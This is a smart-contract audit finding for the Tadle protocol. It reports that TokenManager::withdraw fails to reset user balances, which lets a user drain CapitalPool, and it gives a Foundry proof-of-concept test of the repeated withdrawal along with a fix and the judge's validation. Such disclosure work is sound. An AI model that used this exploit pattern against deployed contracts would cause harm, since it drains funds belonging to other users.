Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Users Can Withdraw All Funds In `CapitalPool` through `TokenManager::withdraw`

0xdarko

Summary

The TokenManager::withdraw function fails to update users' claimable balances after withdrawal, allowing malicious users to drain the entire CapitalPool balance of a specific token.

Vulnerability Details

In the withdraw function:

  1. The claimable amount is fetched from TokenManagerStorage::userTokenBalanceMap.

  2. Funds are transferred from CapitalPool to the user.

  3. Crucially, userTokenBalanceMap is not updated post-transfer.

function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external {
uint256 claimableAmount = userTokenBalanceMap[msg.sender][_tokenAddress][_tokenBalanceType];
if (claimableAmount > 0) {
// Missing: Update userTokenBalanceMap
// Transfer funds
}
}

Without updating the balance it allows repeated withdrawals until the CapitalPool is drained of the specific token.

Impact

  1. Users can withdraw more tokens than they're entitled to.

  2. Potential for complete drainage of specific tokens from CapitalPool.

  3. Loss of funds for other users with legitimate balances.

PoC
function test_drainCapitalPool() public {
uint256 initialUserBalance = mockUSDCToken.balanceOf(user);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr1 = GenerateAddress.generateOfferAddress(0);
address stockAddr1 = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stockAddr1, offerAddr1);
​
vm.stopPrank();
​
vm.prank(user2);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr2 = GenerateAddress.generateOfferAddress(1);
address stockAddr2 = GenerateAddress.generateStockAddress(1);
​
uint256 balanceOfUser = mockUSDCToken.balanceOf(user);
uint256 capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console.log("CapitalPool USDC Balance:", capitalPoolBalance);
vm.prank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
console.log("User USDC Balance:", mockUSDCToken.balanceOf(user));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
console.log("User USDC Balance:", mockUSDCToken.balanceOf(user));
uint256 finalUserBalance = mockUSDCToken.balanceOf(user);
vm.stopPrank();
assertGt(finalUserBalance, initialUserBalance);
}

Tools Used

Foundry

Recommendations

Follow CEI and update the user's balance in userTokenBalanceMap before transferring funds:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[msg.sender][_tokenAddress][_tokenBalanceType] = 0;
​
​
// ... other code ...
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!